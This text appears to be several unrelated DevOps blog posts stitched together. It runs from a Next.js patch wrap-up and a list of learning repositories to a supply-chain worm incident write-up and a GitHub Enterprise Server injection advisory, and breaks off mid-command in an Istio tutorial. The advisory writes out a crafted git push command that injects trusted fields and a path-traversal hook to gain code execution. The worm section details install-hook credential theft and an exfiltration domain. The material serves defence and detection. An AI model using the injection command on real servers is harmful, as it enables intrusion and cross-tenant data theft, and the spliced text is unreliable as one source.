Patch cadence is part of the architecture. The patches are non-breaking. The pain of catching up after skipping six security releases is much higher than the pain of merging a Dependabot PR each time one lands. If you do not have automated dependency updates wired up, the cost lands on a future Monday morning instead.

Self-Hosting Checklist

If you self-host Next.js (or you're about to), here is what to verify alongside the upgrade:

• Run a fresh build and confirm no warnings about removed APIs in the patch notes.
• Audit every middleware.ts matcher. If a matcher uses path patterns only, add an authorization check inside the route or page that is independent of the path.
• Confirm your reverse proxy strips Next-Resume and any other internal Next.js headers from inbound requests.
• Confirm WebSocket upgrades are only allowed on routes that need them.
• Pin a minimum Next.js version in a renovate or dependabot config so future security releases land automatically.
• Subscribe to the Next.js GitHub security advisories or the GitHub Security Lab feed so the next batch does not surprise you.

Where to Run Your Patched App

Self-hosting Next.js is a real choice in 2026. You get to control the perimeter, you avoid platform lock-in, and you can size compute to your actual traffic instead of paying for cold-start headroom you do not use.

DigitalOcean App Platform is a solid landing spot if you want a managed runtime that still behaves like a server you understand. Native Next.js support, git-push deployments, predictable pricing, and you keep control over the network surface that the SSRF and DoS advisories above care about. New accounts get $200 in credits, which is enough to run a small production app for a few months while you validate the move.

Sign up for DigitalOcean if you want to test it out, or pair the App Platform with a small Droplet for the bits of your stack that need a real VM.

Wrap-Up

Thirteen advisories in one release is a lot, but the rollout path is short: install the latest patch on your current major, redeploy, and stop relying on middleware alone for authorization. The middleware bypass family is the one to internalize beyond this single patch. Routes resolve through more transports than the URL the user types, and your auth model needs to be invariant to which transport handled the request.

If you operate Next.js anywhere reachable from the internet, this one is not optional. Patch today.

Reference Links

• Next.js 16.2.6 release notes
• Next.js 15.5.18 release notes
• Next.js security advisories
• Vercel announcement (X)
• DigitalOcean App Platform ($200 credit)

So here are ten GitHub repositories that have moved real engineers from "I have heard of Kubernetes" to "I run it in production." We will start with the one we maintain on this site, then walk through the rest in order of star count, with notes on who each one is for and how to get the most out of it.

TLDR

Star counts are pulled fresh from the GitHub API as of May 2026.

1. The-DevOps-Daily/devops-daily

github.com/The-DevOps-Daily/devops-daily. the source for everything you read on this site, fully open source.

We did not put ourselves at the top because we own the site. We put ourselves at the top because the way the repo is structured is a fast loop: every blog post, exercise, quiz, flashcard, checklist, and interview question is a markdown or JSON file you can read, fork, and PR into. If you find a typo, a broken command, or an outdated CLI flag, you can fix it. If you have a better explanation of how kubelet eviction works, you can add a card to the relevant flashcard deck.

How to use it:

• Browse the content/ directory. Pick a topic you want to get better at and run through the exercise.
• Use the quizzes for spaced retrieval. Repeat until you stop getting things wrong.
• Submit a PR when you find something to improve. The maintainers (us) review fast and merge most of the time.

Best for engineers who learn by doing, contributing, and seeing the underlying source of every lesson.

2. nilbuild/developer-roadmap

github.com/nilbuild/developer-roadmap. 354k stars. Originally kamranahmedse/developer-roadmap, now under the nilbuild org. The DevOps roadmap is at roadmap.sh/devops.

This is a visual map of the skills, tools, and concepts that make up a DevOps career. It is the single best document on the internet for answering "what should I learn next?" without reinventing your own learning plan from scratch.

How to use it:

• Open the DevOps roadmap. Identify the area you are weakest in.
• Click any node to get a short explanation, links, and a checklist.
• Mark items as you go. The site keeps your progress in localStorage if you do not sign up.

Best for people who feel scattered and want a single picture of the field.

3. bregman-arie/devops-exercises

github.com/bregman-arie/devops-exercises. 82k stars. Maintained by Arie Bregman, ex-Red Hat.

This repository is the reason a lot of engineers passed their DevOps interviews. It is hundreds of practical questions and exercises across Linux, Jenkins, AWS, SRE, Prometheus, Docker, Python, Ansible, Git, Kubernetes, Terraform, OpenStack, SQL, NoSQL, Azure, GCP, and more. Each topic has a mix of explanation questions ("What is X and when do you use it?") and hands-on exercises ("Write the Terraform module that does X").

How to use it:

• Pick a topic. Try to answer the questions out loud or in writing without looking at the answers.
• Star the ones you got wrong. Come back to them in a week.
• Use it as a barometer. If you can answer most of the Kubernetes section without help, you know your Kubernetes is solid.

Best for interview preparation and finding gaps in your knowledge.

4. kelseyhightower/kubernetes-the-hard-way

github.com/kelseyhightower/kubernetes-the-hard-way. 48k stars. The repo description is honest: "Bootstrap Kubernetes the hard way. No scripts."

If you have only ever used gcloud container clusters create or eksctl, you have used Kubernetes. You have not learned it. This walkthrough has you stand up a control plane and worker nodes by hand, with TLS certificates you generated yourself, etcd you configured yourself, and a kubelet you registered yourself.

It is also a primary reason Kelsey Hightower has the reputation he has, which is its own kind of education.

How to use it:

• Block out a weekend. The full walkthrough takes 6 to 10 hours the first time.
• Do not copy commands. Type them. Read what they do before you run them.
• When something breaks (and it will), debug it. That is the entire point.

Best for engineers who want a deep mental model of Kubernetes internals.

5. MichaelCade/90DaysOfDevOps

github.com/MichaelCade/90DaysOfDevOps. 29k stars. Three years of community-curated 90-day plans.

This started as one engineer's public learning project: 90 days, one DevOps topic per day, write what you learned. It exploded, and is now a structured tour through Linux, networking, programming, containers, Kubernetes, IaC, observability, databases, and serverless across three different yearly cohorts. The format is one folder per day with notes, diagrams, and links.

How to use it:

• Treat it as a TV series, not a textbook. Watch one "episode" a day for 90 days.
• Skip topics you already know. Spend extra time on the ones that feel uncomfortable.
• Read previous cohorts' notes when you finish a day. The 2022, 2023, and 2024 versions cover slightly different angles on the same material.

Best for engineers early in their career who want a forced curriculum.

6. milanm/DevOps-Roadmap

github.com/milanm/DevOps-Roadmap. 19k stars. A different style of roadmap from #2.

Where the nilbuild roadmap is a visual node graph, this one is a long markdown document with curated links, books, courses, and YouTube videos for every step of the path. It is heavier on resources, lighter on the conceptual map.

How to use it:

• Read the introduction. Identify which "phase" of the roadmap you are at.
• Pick one resource per concept. Do not read all five linked resources for the same topic. Pick the format that matches how you learn best.
• Use the prompts at the end of each section as a checklist before moving on.

Best for self-taught engineers building their own curriculum.

7. ramitsurana/awesome-kubernetes

github.com/ramitsurana/awesome-kubernetes. 16k stars. The most thorough Kubernetes-specific awesome-list.

If your day job is Kubernetes-heavy and you want to specialize, this is the link directory you want. It has sections for everything: storage, networking, monitoring, security, multi-cluster, GitOps, service mesh, FinOps. Each link is annotated.

How to use it:

• Bookmark the page. Use it as a research starting point when you need to evaluate tools in a category.
• Watch the commit log. New tools get added regularly, so it doubles as a "what is happening in Kubernetes" feed.

Best for Kubernetes-track engineers and platform teams researching tools.

8. dastergon/awesome-sre

github.com/dastergon/awesome-sre. 13k stars. The SRE-flavored cousin.

DevOps and SRE overlap, but the SRE side weights toward reliability theory, incident response, observability, and the social engineering of running production systems. This repo is the curated reading list for that side: books (Google's SRE book, Charity Majors' work), papers, postmortems, blog posts, conference talks, training courses.

How to use it:

• Read at least one published postmortem a week. The "Postmortems" section is gold.
• The conference talks list is more useful than most paid SRE courses.
• Pair it with kelseyhightower/kubernetes-the-hard-way if your SRE work is on a Kubernetes platform.

Best for engineers moving into SRE or platform-engineering roles.

9. stefanprodan/podinfo

github.com/stefanprodan/podinfo. 6k stars. A small Go web app that exists to be deployed.

This one is different from the others. podinfo is not a learning resource in the read-and-take-notes sense. It is a real microservice (Go, REST + gRPC, metrics, tracing, health checks) that is purpose-built to be the demo target in tutorials. It is what every Flux, Argo CD, Linkerd, Istio, and Cilium tutorial uses when they need a service to deploy. If you want to actually try a GitOps tool end-to-end, you build the platform, point it at podinfo's helm chart, and ship.

How to use it:

• Stand up a kind or k3d cluster locally.
• Install Flux or Argo CD and point it at the podinfo chart.
• Roll out a canary. Add Linkerd. Add Prometheus. Each thing you add lets you exercise a different platform skill on a service that already works.

Best for engineers who learn by deploying, not reading.

10. wmariuss/awesome-devops

github.com/wmariuss/awesome-devops. 4k stars. Smaller than awesome-kubernetes, broader in scope.

This is the everything-DevOps awesome list: chaos engineering, configuration management, container orchestration, log management, monitoring, package management, secret management, service discovery. The size of the list is approachable, which is its main strength. You can scroll the whole thing in 15 minutes and have a real mental map of the DevOps tooling landscape.

How to use it:

• Read the section headings before clicking any links. The taxonomy itself is a learning aid.
• When evaluating a new category of tool (say, you have to pick a secret manager), use this as your starting set rather than Googling.

Best for engineers who want a manageable map of the whole DevOps tools world.

How to Actually Use a List Like This

Lists are starting points, not learning plans. The mistake people make is to star all ten repos and never come back. Avoid that:

1. Pick exactly one starting repo today. If you have no plan, start with #2 (the roadmap) to get one. If you have a plan, start with #4 (kubernetes-the-hard-way) to deepen it. If you are interview-prepping, start with #3 (devops-exercises).
2. Block calendar time. "I will learn DevOps in my spare time" does not work. "I will spend Thursdays from 7 to 9 PM on the kubernetes-the-hard-way walkthrough" works.
3. Build something. Pick one of the awesome-list categories you do not understand (say, "service mesh") and use podinfo (#9) plus a tool from the list to build a working setup. You will learn more in two hours of building than two weeks of reading.
4. Teach what you learned. Write a blog post. Submit a PR to #1 with a flashcard you made. Give a brown-bag at work. Teaching is the fastest way to find the gaps in what you thought you knew.

Bookmark this page and come back when you finish one repo. The list is not going anywhere.

Key Takeaways

1. Awesome-lists are link directories, not learning plans. Pair them with hands-on repos like #1, #4, and #9.
2. Star counts are not the same as quality, but they are a decent first filter. Anything above 5k stars in this space has been read by enough people to be roughly trustworthy.
3. The single best learning loop is read → build → teach. Most engineers do step one, skip step two, and never reach step three. The repos in this list are picked to support all three.
4. Start one. Finish one. Do not collect ten tabs and never close any of them.
5. Contribute back. Every repo in this list takes PRs. Even small ones (typo fixes, broken-link fixes) count. They also get you GitHub history that future employers can see.

If we missed a repo you think belongs here, open an issue on our repo and tell us which one. We update this list when something deserves to be on it.

This is the second post in two weeks where the answer to "are we exposed?" is "rotate first, ask questions second." Here is what happened, why this strain is unusually scary, and the exact commands to figure out whether you ate a poisoned package.

TLDR

What Happened

On April 30, 2026, attackers pushed malicious versions of three popular packages across three ecosystems within the same 48-hour window:

1. PyPI: lightning 2.6.2 and 2.6.3 (PyTorch Lightning, the wrapper around PyTorch most ML training jobs end up using). Combined downloads sit around 10 million per month.
2. npm: intercom-client 7.0.4. Intercom's official JavaScript SDK.
3. Packagist: intercom/intercom-php 5.0.2. The PHP equivalent.

PyPI quarantined the lightning versions roughly 42 minutes after they went live. npm took longer. Packagist longer still. The attack reached production CI runners in dozens of orgs in that window.

Researchers attribute the campaign to TeamPCP, a financially motivated group also tied to the earlier Checkmarx, Bitwarden, Telnyx, LiteLLM, and Trivy poisonings. The "Shai-Hulud" name is a nod to the Dune sandworm, picked because the malware is wormlike: every credential it steals becomes a vector for more poisoning. The "Mini" prefix distinguishes it from the larger Shai-Hulud campaign that hit npm in 2025.

How the Attack Worked

The same payload (an obfuscated 11MB JavaScript blob called router_runtime.js) ran on all three ecosystems. Only the loader differs.

PyPI: import lightning

The malicious package shipped a hidden _runtime/ directory containing a start.py script and the obfuscated payload. Python's package metadata wired start.py to run on module import. So:

pip install lightning==2.6.2
python -c "import lightning"   # this is what triggers it

start.py downloads the Bun JavaScript runtime to a temp directory, then executes the obfuscated router_runtime.js. Bun is a clean choice for the attacker: no Python dependency, doesn't show up in your Python runtime monitoring, and runs fast enough to finish the steal before anything notices.

npm: npm install intercom-client@7.0.4

The npm version uses a preinstall hook in package.json, which runs before any of the package code is imported. So even a --ignore-scripts=false install (the default) is enough; the package never has to be required by application code:

npm install intercom-client@7.0.4
# preinstall hook fires here, payload already running

Packagist: composer install with intercom/intercom-php@5.0.2

Composer uses plugin events. The malicious version registered a Composer plugin that hooks post-install-cmd and post-update-cmd. On install or update, a shell script (setup-intercom.sh) downloads Bun and runs the same router_runtime.js:

composer require intercom/intercom-php:5.0.2
# setup-intercom.sh runs here

The pattern across all three ecosystems is the same: hook a lifecycle event that fires before the developer would notice anything wrong, drop a runtime, run a payload, exit clean.

What Gets Stolen

router_runtime.js is a credential vacuum. It walks the runner filesystem and the standard environment-variable conventions for every credential type a CI/CD pipeline typically holds:

All of it is bundled, encrypted, and posted to zero.masscan[.]cloud:443/v1/telemetry. If that domain is unreachable (firewall, sinkhole, etc.), the malware falls back to creating a public GitHub repository under any GitHub account whose token it just stole, with the repo description set to "A Mini Shai-Hulud has Appeared." That string is the cleanest indicator-of-compromise you can hunt for.

The Worm Part

This is what earns the Shai-Hulud name. Once the malware has working npm tokens, it does not just exfiltrate them. It uses them.

For each npm token the runner had access to, the payload:

1. Lists packages the token can publish.
2. For each package, downloads the latest tarball, injects its own preinstall hook into package.json, bumps the patch version, and republishes.
3. Pushes the same payload along to whatever GitHub repos the stolen GitHub token can write to, by pushing a branch with the malicious code.

The published Lightning Foundation account pl-ghost performed six create-and-delete branch operations on Lightning-AI repos in 70 minutes after the breach, four of them with random 10-character branch names. That is the worm's write-access probing pattern.

In practice, every successful infection becomes a node that infects more packages. The "Mini" qualifier is a polite understatement.

Are You Affected?

Three checks. Run them now even if your gut says no.

1. Did you install a compromised version?

For PyPI:

# Look at lockfiles and venvs in your build infra
grep -RE 'lightning==2\.6\.[23]\b' \
  --include=requirements*.txt \
  --include=poetry.lock \
  --include=Pipfile.lock \
  --include=uv.lock \
  --include=pyproject.toml \
  . 2>/dev/null

# Check installed sites
pip show lightning | grep -i version

For npm:

# Searches package-lock.json, yarn.lock, pnpm-lock.yaml
grep -RE 'intercom-client.*7\.0\.4' \
  --include=package-lock.json \
  --include=yarn.lock \
  --include=pnpm-lock.yaml \
  --include=package.json \
  . 2>/dev/null

For Composer:

grep -RE 'intercom/intercom-php.*5\.0\.2' \
  --include=composer.lock \
  --include=composer.json \
  . 2>/dev/null

Any hits and you assume infection on the host that ran the install.

2. Hunt for the GitHub fallback IoC

Across every GitHub org you control, search for repos with the description that the malware uses when its primary exfil channel fails:

# Loop your orgs through the GitHub API
gh api -X GET search/repositories \
  -f q='"A Mini Shai-Hulud has Appeared" org:YOUR_ORG' \
  --jq '.items[].full_name'

Run that for every org. A single hit means at minimum one of your service accounts had its token exfiltrated.

3. Check outbound connections

If you ship CI logs to a SIEM, search for any DNS query or connection to zero.masscan.cloud or *.masscan.cloud. Either is a confirmed exfiltration attempt.

# Splunk / Loki / Datadog: anything matching this domain
domain="masscan.cloud"

If you have egress allowlisting on your runners, you may already have blocked the exfil. That is the only happy ending here.

What to Do Right Now

1. Pin off the malicious versions

PyPI:

# Pin to the last known-good lightning, never resolve patch ranges
pip install 'lightning==2.6.1'

# In requirements.txt
lightning==2.6.1

# In poetry
[tool.poetry.dependencies]
lightning = "2.6.1"

npm:

# Pin intercom-client to a pre-attack release
npm install intercom-client@7.0.3

Composer:

composer require intercom/intercom-php:5.0.1

Then commit lockfiles, re-resolve, and check that no transitive resolved back to the bad version. Note that pyannote-audio and several other ML libraries pulled lightning as a transitive dependency, so anything that depends on Lightning needs a fresh resolve too.

2. Rotate credentials, in this order

1. GitHub tokens for any account whose runner installed the bad versions. Personal access tokens, fine-grained PATs, GitHub App private keys, deploy keys. Revoke and reissue. While you are there, rotate any GitHub Actions workflow secrets stored in repos those tokens could read.
2. npm tokens. Revoke from npmjs.com → Access Tokens, regenerate scoped tokens, push them to your CI as new secrets, and then delete the old ones. Do not leave overlap.
3. AWS / GCP / Azure credentials that were on the runner. For AWS, that means rotating the IAM access keys and, if it was an EC2 runner, considering the instance role compromised: terminate and rebuild rather than rotate.
4. Kubeconfigs and in-cluster tokens. Rotate ServiceAccount tokens for any cluster the runner could talk to. kubectl rollout restart deployment does not help here; you need to rotate the actual tokens.
5. Vault. Revoke the AppRole or token the runner used. Rotate.
6. Docker registry credentials. Rotate registry passwords for any registry the runner authenticated to. Push a new ~/.docker/config.json to your runners.
7. SSH keys. Rotate any keys that lived on the runner, including known_hosts hostkey signers.
8. Every .env file the runner could read. Treat any secret in those files as exposed. This is usually the longest list, and the most likely place for the secret your team forgot existed.

3. Audit your published packages

If your team publishes to npm or Packagist using credentials that were on a poisoned runner, the worm may have already used those tokens. Check the recent versions of every package your team owns:

# For each package you own
npm view your-package versions --json | jq '.[-5:]'

# Inspect each tarball for an unexpected preinstall script
npm pack your-package@latest
tar -tzf your-package-*.tgz | grep -E 'preinstall|setup-.*\.sh|_runtime'
cat your-package-*/package.json | jq '.scripts'

If a recent patch version has a preinstall hook your team did not add, deprecate the version, publish a clean follow-up, and post an advisory. Composer plugin events deserve the same scrutiny on Packagist.

4. Lock down install scripts going forward

This attack is the third major one in eight months that abuses install-time hooks. The lesson is the same as the last two: do not run install hooks on your CI by default.

# npm: refuse all install scripts, opt in per-package
npm config set ignore-scripts true

# pnpm: same
pnpm config set ignore-scripts true

# yarn classic
yarn config set ignore-scripts true

For Composer, audit which plugins are allowed:

{
  "config": {
    "allow-plugins": {
      "specific/plugin-you-trust": true
    }
  }
}

For Python, scope CI installs to a hash-pinned requirements.txt and pass --require-hashes. That makes a swapped-out version on the registry useless because the hash will not match.

5. Egress allowlist your runners

The only mitigation that catches the next one of these without you knowing the bad version is egress filtering. CI runners need network access to:

• Your VCS host (GitHub, GitLab, Bitbucket)
• The package registries you actually pull from (npmjs.com, pypi.org, packagist.org)
• Your container registry
• Your cloud provider APIs

Anything else, including arbitrary cloud-bucket downloads or random Bun-runtime mirrors, should be denied at the network level. That blocks the first hop of the exfil even if a poisoned package made it past every other control.

Why This Keeps Happening

This is the third major install-hook supply chain attack in eight months. They keep working because:

• Install hooks run before review. No amount of code review on a PR catches a preinstall script in a transitive dependency. The hook fires before any of your team has eyes on the new version.
• Lockfiles catch versions, not behavior. A pinned version is great until the upstream owner gets compromised and pushes a bad version under a new pin. Hash pins (PyPI's --require-hashes, npm's npm install --ignore-scripts, etc.) close that gap, and almost no team uses them.
• CI runners hold every secret your team has. They have to. That is the job. Which means a 30-second compromise of a CI runner is a months-long game of credential-tracing for the defenders.
• The blast radius is set by your trust graph, not the malicious package. Lightning has 10 million downloads a month. Anything that depends on Lightning is exposed. The number of orgs running ML pipelines that pull Lightning transitively is hard to overstate.

The structural fix is some combination of sandboxed CI runners, hash-pinned dependencies, ignore-scripts by default, egress allowlists, and short-lived OIDC-issued credentials instead of long-lived tokens. You will not get all of those overnight. Pick one and ship it this sprint.

Key Takeaways

1. Pin off lightning==2.6.2 and lightning==2.6.3. Same for intercom-client@7.0.4 and intercom/intercom-php@5.0.2. Pin to the last known-good versions: 2.6.1, 7.0.3, 5.0.1.
2. Hunt for the IoC. Search every GitHub org you control for repos described as "A Mini Shai-Hulud has Appeared." Search SIEM logs for connections to masscan.cloud.
3. Rotate everything in scope. GitHub, npm, cloud creds, kubeconfigs, Vault tokens, registry creds, SSH keys, every .env on the runner.
4. Set ignore-scripts true on your CI for npm and pnpm. Audit Composer's allow-plugins list. Use hash-pinned requirements for Python.
5. Egress allowlist your runners. It is the only mitigation that catches the next one without you knowing the bad version.
6. Audit your own published packages. If the worm got a token your team owned, your packages may already be downstream nodes.

Mini Shai-Hulud is going to keep showing up under different names. The packages will change. The hooks and the credential exfil paths will not.

Sources: The Hacker News, Semgrep, Socket.dev, Kodem Security, OX Security, Aikido, GitGuardian

The exploit is one git command. No CVE-of-the-week phishing kit, no exotic protocol abuse. Just a push option containing a semicolon.

Here is what happened, why the bug existed in the first place, and what to do about it on Monday morning.

TLDR

What Happened

GitHub's push pipeline has four moving parts:

1. babeld, a git proxy that takes the user's SSH connection and forwards it inward.
2. gitauth, the service that validates credentials and answers with security metadata (size limits, branch rules, hook config).
3. gitrpcd, the internal RPC server that prepares the environment for downstream binaries.
4. The pre-receive hook, a compiled Go binary that enforces policy before the push is accepted.

These services talk to each other using a header called X-Stat. It carries security-critical fields as semicolon-delimited key=value pairs. The format uses last-write-wins semantics: if a key appears twice, the second value wins.

That last sentence is the whole bug.

When you run git push -o foo=bar origin main, the value foo=bar is a push option. babeld embeds those user-supplied options into the X-Stat header as push_option_0, push_option_1, and so on. It did not strip semicolons. So if you pushed with a push option that contained one, you could break out of your own field and write a new field that downstream services treated as trusted internal metadata.

Wiz researchers chained three injected X-Stat fields into a clean RCE. Then they noticed an additional field that flipped the same exploit from "GHES on prem" into "we can read other people's repositories on github.com." GitHub deployed a github.com fix in 75 minutes and shipped GHES patches the same day, but the disclosure window meant a lot of self-hosted instances spent two months running unpatched code.

How the Bug Worked

The X-Stat header

X-Stat looks something like this on the wire:

X-Stat: rails_env=production;custom_hooks_dir=/data/hooks;repo_pre_receive_hooks=[]; push_option_0=foo=bar

Each field controls something the downstream services rely on. rails_env decides whether the pre-receive binary runs hooks inside a sandbox. custom_hooks_dir is the base directory hooks are loaded from. repo_pre_receive_hooks is a JSON array of hook scripts to execute. All three are normally set by gitauth based on the authenticated repo and its policies. babeld is supposed to add only the fields the user is allowed to influence (the push options), then forward the header to gitrpcd.

The problem: babeld copied user-supplied push option values verbatim into the header without escaping the field delimiter.

The injection

Imagine you push with a crafted option:

git push -o 'x;rails_env=staging;custom_hooks_dir=/data/user-uploads;repo_pre_receive_hooks=[{"script":"../../../tmp/payload.sh"}]' origin main

babeld serializes that into X-Stat as a single field:

push_option_0=x;rails_env=staging;custom_hooks_dir=/data/user-uploads;repo_pre_receive_hooks=[...]

The downstream parser splits on the semicolon. It sees five fields, not one. Because of last-write-wins, the attacker's rails_env, custom_hooks_dir, and repo_pre_receive_hooks override whatever gitauth set.

The RCE chain

Three overrides combine to give code execution.

rails_env controls the pre-receive binary's two execution paths. With rails_env=production, hooks run inside a sandbox. With anything else, they run directly as the git service user, no sandbox, no isolation.

custom_hooks_dir points at the directory the binary loads hook scripts from. Set it to a directory the attacker can write to. Repository content uploaded as part of the push lives somewhere on disk; pick a directory under that root.

repo_pre_receive_hooks is a JSON array of hook definitions. Each entry has a script field. Path traversal in script resolves the final path against custom_hooks_dir plus the traversal, which lets the attacker land it on any binary they have already managed to write into the repo.

The pre-receive binary then executes that path, no arguments, no sandbox, as git.

The end-to-end output from the Wiz proof of concept looked like this:

$ git push -o '<injected fields>' origin master
remote: uid=500(git) gid=500(git) groups=500(git)

That is shell on a GitHub backend.

The github.com twist

On GHES, the git user has filesystem access to all repositories hosted on the appliance. Game over for that customer. On github.com, an extra injectable field, enterprise_mode, decides which storage backend the pre-receive binary connects to. By forcing it to a specific value, the exploit landed shell on a shared storage node where the git user could read every repository hosted on that node. Wiz confirmed the cross-tenant access using their own accounts and reported it before testing further.

In other words, the same bug that compromised a single GHES appliance also crossed a multi-tenant boundary on github.com. That is unusual, and it is why the CVSS is high despite the "authenticated user with push access" precondition: on github.com, anyone who can register an account and push to a repo they created has push access.

Are You Affected?

github.com

You were exposed for some window before March 4, 2026. GitHub's forensic review concluded there was no exploitation outside the researchers' own testing. No action required from your side.

GitHub Enterprise Server

Check your version:

ssh admin@your-ghes-host -- 'ghe-version'

If you are not on one of the patched releases below, treat the appliance as actively exploitable. Any authenticated user (including a user with access to one repo) can run code on it.

Help Net Security's scan of internet-reachable GHES instances on April 29, 2026 found 88% were on a vulnerable version. If your GHES is exposed to the internet at all, assume someone has already fingerprinted it.

What to Do Right Now

1. Upgrade GHES

This is the only real fix. Apply the patch release for your branch. The upgrade is a hotpatch on most versions, so it is fast:

# On the GHES appliance
ghe-upgrade /path/to/github-enterprise-3.19.4.hpkg

# Verify
ghe-version

If you are more than two minor versions behind, do a staged upgrade through the intermediate releases. GitHub publishes the supported upgrade paths in the GHES upgrade docs; do not skip them.

2. Audit your push logs for the IoC

The exploit requires a semicolon inside a push option. That is not something legitimate tooling produces. Grep the audit log:

sudo zgrep -E 'push_option.*;' /var/log/github/audit.log* | less

Or via the audit log UI, filter for events of type git.push and search for push_option entries that contain ;. Anything that matches is suspicious. Anything from before the patch date and from a user account you do not recognize should be treated as a confirmed compromise indicator, not a maybe.

GitHub also recommends checking for unusual values of the following X-Stat-derived fields in any internal logs you have:

• rails_env set to anything other than production
• custom_hooks_dir pointing outside /data/user/git-hooks
• repo_pre_receive_hooks containing path traversal sequences (..)

3. Rotate appliance-scoped secrets if you find an IoC

If a push with a ; in push_option predates your upgrade and the user is not who you think, treat the appliance as compromised:

• All deploy keys and machine user tokens
• OAuth app and GitHub App private keys
• Webhook secrets
• Actions runner registration tokens
• LDAP/SAML signing certs and any service-account credentials
• Any cloud credentials stored in repo secrets

The pre-receive binary runs as the git user, which can read every repo on the appliance. Treat secrets that lived in any repo as exposed, not just the repo the attacker pushed to.

4. Review your GitHub App and OAuth scopes

The exploit's blast radius on GHES includes anything the appliance can call out to. If an integration's webhook is signed with a secret stored on the appliance, the secret is in scope. Work outwards from the appliance and trim scopes on connected services that do not need write access.

5. Lock down "authenticated user with push access"

If your GHES allows self-service repository creation, every authenticated user on the appliance has push access to at least one repository (theirs). On a GHES that exposes SSH or HTTPS to the internet, every authenticated user is a potential exploit precondition. Until you have upgraded:

• Disable repository creation for unprivileged users.
• Restrict SSH and HTTPS to the corporate network or a VPN.
• Disable inbound network access to the appliance from anywhere you do not control.

These are not fixes, they shrink the attack surface while you patch.

Why "internal headers" keep biting

CVE-2026-3854 is a textbook header-injection bug, and they keep happening for the same reason: services use a delimiter character that can also appear in user input, and the boundary between "trusted internal metadata" and "user-controlled value" is enforced by an honor system.

A few patterns to learn from this:

Pick a delimiter that cannot appear in untrusted input, or escape it. Semicolons are common in user data (URLs, MIME types, semicolon-separated CSV-ish strings). If you are going to use one as a field separator, you must escape or strip it on the way in. Better, use a length-prefixed binary format or JSON between services and let the parser handle it.

Treat downstream services as if they will trust whatever you send them. babeld assumed gitrpcd would re-validate. gitrpcd assumed gitauth had set the trusted fields. The pre-receive binary assumed both. Nobody re-validated the join. This is the opposite of defense in depth.

Test with adversarial inputs across service boundaries. A unit test for babeld's push-option handling never noticed because the test inputs did not contain ;. A unit test for gitrpcd's X-Stat parser never noticed because the test inputs were synthesized internally. The bug only existed at the seam.

Internal headers deserve the same paranoia as external APIs. "Only our own services talk to it" is not a security control when one of those services accepts user input.

Why This Matters for DevOps Teams

A few things stand out about this CVE beyond the immediate patch:

Self-hosted does not mean low risk. GHES is the version of GitHub that runs inside your perimeter, often behind a VPN, often configured as the canonical source of truth for an organization's code. The appliance also stores deploy keys, webhook secrets, OIDC trust relationships, and Actions runner tokens. A single RCE on the appliance is, for most orgs, equivalent to a full software supply chain compromise.

Push options are user input. Most teams treat git push -o as a tooling channel for things like CI flags or merge-queue annotations. The protocol does not give those values any privileged status; they are user-supplied strings. If you write tools that consume push options server-side, sanitize them like you would any other request body.

Patch latency is the actual risk. GitHub patched github.com in 75 minutes. The same fix took two months to reach 88% of self-hosted instances. That is not a vendor problem; that is the organization owning the appliance not having an upgrade rhythm. Build the cadence before the next CVE.

Your audit logs are the only proof you have. If you do not capture push options today, you cannot answer "were we exploited" for this CVE except by trusting that nobody noticed. Make sure your GHES audit log retention is at least 90 days, that you ship audit events into a SIEM you actually search, and that the retention covers the full disclosure-to-patch window for the vulnerabilities you have not seen yet.

Key Takeaways

1. Upgrade GHES today to 3.14.25, 3.15.20, 3.16.16, 3.17.13, 3.18.7, 3.19.4, or 3.20.0.
2. Grep audit logs for ; inside push_option values. That is the IoC. Anything matching from before your upgrade is a treat-as-compromised event.
3. Rotate appliance-scoped secrets if you find an IoC: deploy keys, App private keys, webhook secrets, runner registration tokens, repo secrets.
4. Restrict the attack precondition. If your GHES is internet-reachable, assume someone has fingerprinted it. Move SSH and HTTPS behind a VPN until you patch.
5. Build a GHES upgrade cadence. 88% of internet-reachable instances were unpatched two months after the fix shipped. The next CVE is already on someone's disclosure timeline.
6. Treat internal service headers like external APIs. Delimiter-based formats with no escaping at the seam are how this bug existed; the seam is where you should test.

The bug itself was a one-character oversight. The two-month window between fix and field deployment is the part DevOps teams own.

Sources: GitHub Security Blog, Wiz Research, The Hacker News, Help Net Security, Cybersecurity News

Istio gives you three traffic controls every production service needs: weighted routing for safe rollouts, retries for handling flaky downstream calls, and circuit breakers to stop cascading failures. You configure them with VirtualService and DestinationRule objects. This post walks through each one with working YAML, real terminal output, and the gotchas that bite people in production.

You shipped a new version of your payments service. Half the traffic now hits v2, and v2 is timing out against a slow downstream API. Within ninety seconds your checkout service is also degraded because every request is waiting on payments. By the time you roll back, three more services are slow and your error budget is gone for the quarter.

This is the failure pattern Istio is built to prevent. Not the deploy itself, but the blast radius. With a few lines of YAML you can shift traffic gradually, retry transient failures without writing retry code in every service, and trip a circuit breaker so a sick instance gets isolated instead of dragging down its callers.

Prerequisites

• A Kubernetes cluster with Istio 1.20+ installed (istioctl version should return both client and control plane versions)
• The istio-injection=enabled label on the namespace you are working in
• kubectl access and basic familiarity with apply, get, and describe
• Two or more versions of a sample service deployed (this post uses the standard httpbin and a custom reviews example)

You can check injection is on with:

kubectl get namespace default --show-labels

Output should include istio-injection=enabled. If it doesn't, label it:

kubectl label namespace default istio-injection=enabled

The Two Objects You Need to Know

Istio's traffic policies live in two CRDs:

• VirtualService — defines how requests are routed. Match on host, path, header, weight.
• DestinationRule — defines what happens after the route is picked. Subsets, load balancing, connection pools, outlier detection.

A common mistake is putting circuit breaker settings in a VirtualService. They don't belong there. Circuit breakers are a property of the destination, not the route.

Client → VirtualService (routing decision) → DestinationRule (subset + policy) → Pod

Keep this mental model. It saves a lot of debugging.

Weighted Routing for Canary Deploys

Say you have two deployments of reviews: v1 (stable) and v2 (new). You want 90% of traffic on v1 and 10% on v2 to start.

First, define the subsets in a DestinationRule. Subsets are how Istio knows what "v1" and "v2" mean.

apiVersion: networking.istio.io/v1
kind: DestinationRule
metadata:
  name: reviews
spec:
  host: reviews
  subsets:
    - name: v1
      labels:
        version: v1
    - name: v2
      labels:
        version: v2

The labels field matches pod labels. So your reviews-v1 deployment needs version: v1 on its pod template, and reviews-v2 needs version: v2. If the labels don't match, the subset routes to zero pods and you get 503s.

Now the VirtualService that splits traffic:

apiVersion: networking.istio.io/v1
kind: VirtualService
metadata:
  name: reviews
spec:
  hosts:
    - reviews
  http:
    - route:
        - destination:
            host: reviews
            subset: v1
          weight: 90
        - destination:
            host: reviews
            subset: v2
          weight: 10

Apply both, then verify the routing:

kubectl apply -f reviews-destinationrule.yaml
kubectl apply -f reviews-virtualservice.yaml

for i in {1..20}; do
  kubectl exec deploy/curl -- curl -s reviews:9080/version
